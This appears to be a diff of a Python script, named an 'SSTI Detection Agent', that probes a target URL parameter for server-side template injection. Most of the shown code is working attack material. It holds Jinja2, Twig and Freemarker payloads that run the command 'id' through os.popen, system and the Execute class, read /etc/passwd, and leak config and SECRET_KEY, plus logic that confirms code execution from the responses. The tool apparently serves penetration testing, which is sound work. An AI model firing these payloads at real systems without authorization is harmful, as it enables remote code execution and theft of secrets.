+
|
|
82
|
+
return {"engine": "unknown"}
|
|
83
|
+
|
|
84
|
+
|
|
85
|
+
def test_jinja2_rce(url: str, param: str, method: str = "GET",
|
|
86
|
+
headers: Optional[dict] = None) -> List[dict]:
|
|
87
|
+
"""Test Jinja2 RCE payloads."""
|
|
88
|
+
payloads = [
|
|
89
|
+
{"name": "cycler_popen", "payload": "{{cycler.__init__.__globals__.os.popen('id').read()}}"},
|
|
90
|
+
{"name": "lipsum_popen", "payload": '{{lipsum.__globals__["os"].popen("id").read()}}'},
|
|
91
|
+
{"name": "config_items", "payload": "{{config.items()}}"},
|
|
92
|
+
{"name": "secret_key", "payload": "{{config.SECRET_KEY}}"},
|
|
93
|
+
]
|
|
94
|
+
results = []
|
|
95
|
+
for p in payloads:
|
|
96
|
+
resp = _send_payload(url, param, p["payload"], method, headers)
|
|
97
|
+
has_output = (
|
|
98
|
+
"uid=" in resp.text or "SECRET_KEY" in resp.text or
|
|
99
|
+
"root" in resp.text or len(resp.text) > 500
|
|
100
|
+
)
|
|
101
|
+
results.append({
|
|
102
|
+
"name": p["name"],
|
|
103
|
+
"payload": p["payload"],
|
|
104
|
+
"status_code": resp.status_code,
|
|
105
|
+
"rce_confirmed": "uid=" in resp.text,
|
|
106
|
+
"info_leak": "SECRET_KEY" in resp.text or "config" in resp.text.lower(),
|
|
107
|
+
"response_preview": resp.text[:200],
|
|
108
|
+
})
|
|
109
|
+
return results
|
|
110
|
+
|
|
111
|
+
|
|
112
|
+
def test_twig_rce(url: str, param: str, method: str = "GET",
|
|
113
|
+
headers: Optional[dict] = None) -> List[dict]:
|
|
114
|
+
"""Test Twig (PHP) RCE payloads."""
|
|
115
|
+
payloads = [
|
|
116
|
+
{"name": "filter_system", "payload": "{{['id']|filter('system')}}"},
|
|
117
|
+
{"name": "file_excerpt", "payload": "{{'/etc/passwd'|file_excerpt(1,5)}}"},
|
|
118
|
+
]
|
|
119
|
+
results = []
|
|
120
|
+
for p in payloads:
|
|
121
|
+
resp = _send_payload(url, param, p["payload"], method, headers)
|
|
122
|
+
results.append({
|
|
123
|
+
"name": p["name"],
|
|
124
|
+
"payload": p["payload"],
|
|
125
|
+
"status_code": resp.status_code,
|
|
126
|
+
"rce_confirmed": "uid=" in resp.text or "root:" in resp.text,
|
|
127
|
+
"response_preview": resp.text[:200],
|
|
128
|
+
})
|
|
129
|
+
return results
|
|
130
|
+
|
|
131
|
+
|
|
132
|
+
def test_freemarker_rce(url: str, param: str, method: str = "GET",
|
|
133
|
+
headers: Optional[dict] = None) -> List[dict]:
|
|
134
|
+
"""Test Freemarker (Java) RCE payloads."""
|
|
135
|
+
payloads = [
|
|
136
|
+
{"name": "execute_class",
|
|
137
|
+
"payload": '<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}'},
|
|
138
|
+
]
|
|
139
|
+
results = []
|
|
140
|
+
for p in payloads:
|
|
141
|
+
resp = _send_payload(url, param, p["payload"], method, headers)
|
|
142
|
+
results.append({
|
|
143
|
+
"name": p["name"],
|
|
144
|
+
"status_code": resp.status_code,
|
|
145
|
+
"rce_confirmed": "uid=" in resp.text,
|
|
146
|
+
"response_preview": resp.text[:200],
|
|
147
|
+
})
|
|
148
|
+
return results
|
|
149
|
+
|
|
150
|
+
|
|
151
|
+
def _send_payload(url: str, param: str, payload: str, method: str = "GET",
|
|
152
|
+
headers: Optional[dict] = None) -> requests.Response:
|
|
153
|
+
h = headers or {}
|
|
154
|
+
encoded = urllib.parse.quote(payload)
|
|
155
|
+
try:
|
|
156
|
+
if method.upper() == "GET":
|
|
157
|
+
sep = "&" if "?" in url else "?"
|
|
158
|
+
return requests.get(f"{url}{sep}{param}={encoded}", headers=h,
|
|
159
|
+
timeout=10, verify=False)
|
|
160
|
+
else:
|
|
161
|
+
return requests.post(url, data={param: payload}, headers=h,
|
|
162
|
+
timeout=10, verify=False)
|
|
163
|
+
except requests.RequestException:
|
|
164
|
+
return type("R", (), {"status_code": 0, "text": "", "content": b""})()
|
|
165
|
+
|
|
166
|
+
|
|
167
|
+
def run_assessment(url: str, param: str, method: str = "GET") -> dict:
|
|
168
|
+
"""Run complete SSTI assessment."""
|
|
169
|
+
detection = test_ssti_detection(url, param, method)
|
|
170
|
+
vulnerable = any(d["found_in_response"] for d in detection)
|
|
171
|
+
|
|
172
|
+
result = {
|
|
173
|
+
"target": url, "parameter": param, "vulnerable": vulnerable,
|
|
174
|
+
"detection_results": detection,
|
|
175
|
+
}
|
|
176
|
+
if vulnerable:
|
|
177
|
+
engine = identify_engine(url, param, method)
|
|
178
|
+
result["engine"] = engine
|
|
179
|
+
if engine.get("engine") == "Jinja2":
|
|
180
|
+
result["rce_tests"] = test_jinja2_rce(url, param, method)
|
|
181
|
+
elif engine.get("engine") == "Twig":
|
|
182
|
+
result["rce_tests"] = test_twig_rce(url, param, method)
|
|
183
|
+
elif engine.get("engine") == "Freemarker":
|
|
184
|
+
result["rce_tests"] = test_freemarker_rce(url, param, method)
|
|
185
|
+
|
|
186
|
+
return result
|
|
187
|
+
|
|
188
|
+
|
|
189
|
+
def main():
|
|
190
|
+
parser = argparse.ArgumentParser(description="SSTI Detection Agent")
|
|
191
|
+
parser.add_argument("--url", required=True, help="Target URL")
|
|
192
|
+
parser.add_argument("--param", required=True, help="Parameter to test")
|
|
193
|
+
parser.add_argument("--method", default="GET", choices=["GET", "POST"])
|
|
194
|
+
parser.add_argument("--output", default="ssti_report.json")
|
|
195
|
+
args = parser.parse_args()
|
|
196
|
+
|
|
197
|
+
report = run_assessment(args.url, args.param, args.method)
|
|
198
|
+
with open(args.output, "w") as f:
|
|
199
|
+
json.dump(report, f, indent=2)
|
|
200
|
+
logger.info("Report saved to %s", args.output)
|
|
201
|
+
print(json.dumps(report, indent=2))
|
|
202
|
+
|
|
203
|
+
|
|
204
|
+
if __name__ == "__main__":
|
|
205
|
+
main()
|